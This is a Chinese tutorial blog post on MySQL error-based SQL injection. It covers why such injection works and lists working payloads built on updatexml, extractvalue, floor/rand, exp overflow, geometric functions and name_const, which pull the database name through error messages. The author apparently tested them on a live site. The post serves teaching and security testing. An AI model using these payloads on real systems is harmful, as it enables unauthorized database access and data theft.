MySQL报错注入

注入简介


什么是报错注入?

顾名思义,报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据,本章节讲述的注入,数据库为MySQL

报错注入成因

那么报错注入是怎么形成的呢?

首先是应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;

其次,必不可少就是后台未对MySQL相应的报错函数进行过滤

引入知识


updatexml()函数。语法为

1
UPDATEXML (XML_document, XPath_string, new_value);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

如果找不到相应的xpath路径,updatexml函数就会报出错误

concat()函数。此函数用于连接字符串;由于updatexml()函数xpath路径需要连接特殊字符,被连接的特殊字符需要进行16进制编码

concat_ws()函数。语法concat_ws(0x7e,database(),use()),会把查出来的库名和用户通过~连接起来完成报错

注入实现


在挖互联网漏洞的时候,遇到的报错注入,打开漏洞所在url,如下图

1649514276345

对id传参输入单引号进行测试,发行MySQL报错,并且直接爆出了表名,如下图

1649514310174

这个报错,已经爆出了完整语句,我们尝试对源语句进行闭合,payload:) and (1,如下图

1649514337301

构建报错语句,payload:) and updatexml(1,concat(0x7e,database()),1) and (1,如下图

1649514372179

扩展


在日常测试中,后台可能会过滤掉一些常用函数,那么有没有其他函数来替代呢?肯定是有的!

Xpath报错

updatexml()函数,用法就不在过多介绍

extractvalue()函数,payload:

  • select * from test where id=1 and (extractvalue(1,concat(0x7e,database()));

1649514419754

虚拟表主键位重复报错

floor()函数,payload:

select * from test where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

fioor函数报错详细资料参考:mysql的floor()报错注入方法详细分析 - 小friend - 博客园

MYSQL floor 报错注入详解_Gundam-的博客-CSDN博客_floor报错注入原理

1649514460016

其他待测试函数


整形溢出报错

exp()函数,整形溢出报错,注意:在MySQL5.5.5版本之后才会报错,但是应该是仅仅在5.5.*的子版本,语法:

exp(~(select * from (select database())x))

image-20220415165153853

几何函数报错

函数对参数要求是形如(1 2,2 2,3 3),几何数据,如果不满足则会报错,主要函数包括,可在5.6.22版本测试,我用5.5.5没测出来

估计影响是在5.6.*的子版本,5.7也不行

语法:

multipoint(select * from (select * from ( select * from (select database())c)b)a)

  • multipoint()函数,

  • geometrycollection()函数

  • multilinestring()函数

  • linestring()函数

  • multipolygon()函数

  • polygon()函数

列名重复报错

name_const(name,value)函数会用传入参数返回一系列结果集,传入参数必须是常量,经过测试只能查version(),略鸡肋

语法:select * from (select name_const(version(),1),name_const(version(),1))a;

参考

参考文章:十种MySQL报错注入 - 我擦咧什么鬼 - 博客园

参考文章:MySQL报错注入函数汇总_Au.J的博客-CSDN博客_mysql报错注入函数

参考书籍:《代码审计:企业级Web代码安全架构》